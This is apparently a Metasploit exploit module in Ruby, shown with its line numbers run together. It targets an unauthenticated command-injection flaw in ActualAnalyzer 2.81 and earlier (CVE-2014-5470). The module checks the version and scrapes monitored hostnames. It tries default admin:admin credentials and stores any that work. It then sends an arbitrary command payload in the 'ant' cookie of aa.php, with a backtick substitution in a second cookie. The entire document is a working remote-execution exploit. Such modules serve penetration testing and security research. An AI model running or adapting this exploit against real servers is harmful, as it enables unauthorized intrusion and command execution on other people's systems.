Path: blob/master/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",15'Description' => %q{16This module exploits a command execution vulnerability in17ActualAnalyzer version 2.81 and prior.1819The 'aa.php' file allows unauthenticated users to20execute arbitrary commands in the 'ant' cookie.21},22'License' => MSF_LICENSE,23'Author' => [24'Benjamin Harris', # Discovery and exploit25'bcoles' # Metasploit26],27'References' => [28['CVE', '2014-5470'],29['EDB', '34450'],30['OSVDB', '110601']31],32'Payload' => {33'Space' => 4096, # HTTP cookie34'DisableNops' => true,35'BadChars' => "\x00"36},37'Arch' => ARCH_CMD,38'Platform' => 'unix',39'Targets' => [40# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu41['ActualAnalyzer <= 2.81', { 'auto' => true }]42],43'Privileged' => false,44'DisclosureDate' => '2014-08-28',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),57OptString.new('USERNAME', [true, 'The username for ActualAnalyzer', 'admin']),58OptString.new('PASSWORD', [true, 'The password for ActualAnalyzer', 'admin']),59OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])60]61)62end6364#65# Checks if target is running ActualAnalyzer <= 2.8166#67def check68# check for aa.php69res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))70if !res71vprint_error("Connection failed")72return Exploit::CheckCode::Unknown73elsif res.code == 40474vprint_error("Could not find aa.php")75return Exploit::CheckCode::Safe76elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/77vprint_error("ActualAnalyzer is not installed. Try installing first.")78return Exploit::CheckCode::Detected79end80# check version81res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))82if !res83vprint_error("Connection failed")84return Exploit::CheckCode::Unknown85elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body86vprint_status("Found version: #{version}")87if Rex::Version.new(version) <= Rex::Version.new('2.81')88report_vuln(89host: rhost,90name: self.name,91info: "Module #{fullname} detected ActualAnalyzer #{version}",92refs: references93)94return Exploit::CheckCode::Vulnerable95end96return Exploit::CheckCode::Detected97elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/98return Exploit::CheckCode::Detected99end100Exploit::CheckCode::Safe101end102103#104# Try to retrieve a valid analytics host from view.php unauthenticated105#106def get_analytics_host_view107analytics_host = nil108res = send_request_cgi(109'method' => 'POST',110'uri' => normalize_uri(target_uri.path, 'view.php'),111'vars_post' => {112'id_h' => '',113'listp' => '',114'act_h' => 'vis_int',115'oldact' => 'vis_grpg',116'tint_h' => '',117'extact_h' => '',118'home_pos' => '',119'act' => 'vis_grpg',120'tint' => 'total',121'grpg' => '201',122'cp_vst' => 'on',123'cp_hst' => 'on',124'cp_htst' => 'on',125'cp_reps' => 'y',126'tab_sort' => '1_1'127}128)129if !res130vprint_error("Connection failed")131elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body132vprint_good("Found analytics host: #{analytics_host}")133return analytics_host134else135vprint_status("Could not find any hosts on view.php")136end137nil138end139140#141# Try to retrieve a valid analytics host from code.php unauthenticated142#143def get_analytics_host_code144analytics_host = nil145res = send_request_cgi(146'uri' => normalize_uri(target_uri.path, 'code.php'),147'vars_get' => {148'pid' => '1'149}150)151if !res152vprint_error("Connection failed")153elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body154vprint_good("Found analytics host: #{analytics_host}")155return analytics_host156else157vprint_status("Could not find any hosts on code.php")158end159nil160end161162#163# Try to retrieve a valid analytics host from admin.php with creds164#165def get_analytics_host_admin166analytics_host = nil167user = datastore['USERNAME']168pass = datastore['PASSWORD']169res = send_request_cgi(170'method' => 'POST',171'uri' => normalize_uri(target_uri.path, 'admin.php'),172'vars_post' => {173'uname' => user,174'passw' => pass,175'id_h' => '',176'listp' => '',177'act_h' => '',178'oldact' => 'pages',179'tint_h' => '',180'extact_h' => '',181'param_h' => '',182'param2_h' => '',183'home_pos' => '',184'act' => 'dynhtml',185'set.x' => '11',186'set.y' => '11'187}188)189if !res190vprint_error("Connection failed")191elsif res.code == 200 && res.body =~ />Login</192vprint_error("Login failed")193elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body194vprint_good("Found analytics host: #{analytics_host}")195print_good("Login Successful (#{user}:#{pass})")196store_valid_credential(user: user, private: pass)197return analytics_host198else199vprint_error("Could not find any hosts on admin.php")200end201nil202end203204def execute_command(cmd, opts = { analytics_host: vhost })205vuln_cookies = %w(anw anm)206res = send_request_cgi(207'uri' => normalize_uri(target_uri.path, 'aa.php'),208'vars_get' => { 'anp' => opts[:analytics_host] },209'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"210)211if !res212fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")213elsif res.code == 302 && res.headers['Content-Type'] =~ /image/214print_good("Payload sent successfully")215return true216elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/217vprint_status("Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")218elsif res.code == 200 && res.body =~ /Admin area<\/title>/219fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")220else221fail_with(Failure::Unknown, "#{peer} - Something went wrong")222end223nil224end225226def exploit227return unless check == Exploit::CheckCode::Vulnerable228229analytics_hosts = []230if datastore['ANALYZER_HOST'].blank?231analytics_hosts << get_analytics_host_code232analytics_hosts << get_analytics_host_view233analytics_hosts << get_analytics_host_admin234analytics_hosts << vhost235analytics_hosts << '127.0.0.1'236analytics_hosts << 'localhost'237else238analytics_hosts << datastore['ANALYZER_HOST']239end240analytics_hosts.uniq.each do |host|241next if host.nil?242243vprint_status("Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")244break if execute_command(payload.encoded, analytics_host: host)245end246end247end248249250